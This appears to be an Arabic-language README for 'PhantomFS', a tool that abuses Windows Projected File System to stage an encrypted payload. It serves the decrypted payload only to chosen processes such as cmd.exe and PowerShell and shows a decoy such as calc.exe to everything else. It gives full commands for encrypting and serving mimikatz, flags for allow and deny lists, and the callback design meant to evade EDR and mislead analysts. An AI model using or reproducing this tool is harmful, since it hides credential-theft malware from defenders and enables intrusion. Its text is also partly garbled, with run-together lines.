
تقديم الحمولات فقط للعمليات المسموح بها باستخدام ميزة نظام الملفات المسقط في ويندوز
مزود ProjFS. يقوم بعرض ملفات حيث يعتمد المحتوى على العملية التي تقرأها. يتم تخزين الحمولة مشفرة باستخدام AES-256-CBC على القرص، ويتم فك تشفيرها فقط في الذاكرة أثناء التشغيل. لا ينبغي أن يتجاوز هذا أي EDR حيث سيتم كتابة الحمولة على القرص عندما تحاول العمليات المسموح بها قراءتها. كل شيء آخر يحصل على رفض الوصول. قد يزعج هذا بعض المحللين لأن أدواتهم لن تقرأه أو ببساطة تحمل خداعًا. لكن يمكنك بسهولة رؤية أنه ProjFS باستخدام نقطة إعادة تحليل.
1) Generate key: PhantomFS.exe -keygen
2) Encrypt payload: PhantomFS.exe -encrypt mimikatz.exe -key <key> -out mimikatz.enc
3) Serve: PhantomFS.exe C:\Staging -file mimikatz.enc -key <key> -decoy C:\Windows\System32\calc.exe
Example:
PhantomFS.exe C:\Staging -file mimikatz.enc -key 7ed5a44412447be587b2ca2e4eacb17d41c869360663ae0fea1d0caca159483c -decoy C:\Windows\System32\calc.exe
النتيجة: يظهر C:\Staging\calc.exe في نظام الملفات.
cmd.exe يحصل على بايتات mimikatz مفكوكة التشفيرافتح PhantomFS.sln في VS2022، قم ببناء x64 Release. يتطلب Windows SDK (رؤوس ومكتبات ProjFS).
Enable-WindowsOptionalFeature -Online -FeatureName Client-ProjFS -NoRestart
يعمل المزود بسلامة متوسطة، لا حاجة لمسؤول (تفعيل ميزة ProjFS يتطلب مسؤول).
PhantomFS.exe -keygen
PhantomFS.exe -encrypt <input> -key <64_hex_chars> -out <output.enc>
التنسيق: [16 byte random IV][AES-256-CBC ciphertext with PKCS7 padding]
PhantomFS.exe <root_dir> -file <payload.enc> -key <hex> -decoy <benign_file>
[-name <virtual_filename>]
[-allow <process_substring>] (قابل للتكرار، الافتراضي: powershell.exe, pwsh.exe, cmd.exe)
[-deny-read <process_substring>] (قابل للتكرار)
[-quiet]
تستقبل callbacks ProjFS TriggeringProcessImageFileName عند كل وصول للملف:
GetFileDataCallback: يتحقق من العملية مقابل القواعد، يقدم الحمولة أو بايتات الخداعNotificationCallback PRE_DELETE: يمنع العمليات غير المسموح بها من الحذفFILE_HANDLE_CLOSED: يستدعي PrjDeleteFile لفرض إعادة الإماهةخدعة إعادة الإماهة ضرورية لأن ProjFS يخزن محتوى الملف مؤقتًا بعد القراءة الأولى. بدونها، سيحصل القارئ الثاني على ما تلقاه القارئ الأول.
PrjStartVirtualizingIO_REPARSE_TAG_PROJFSPrjFlt على ارتفاع 189800 (fltmc.exe)Microsoft-Windows-ProjFSالإلهام: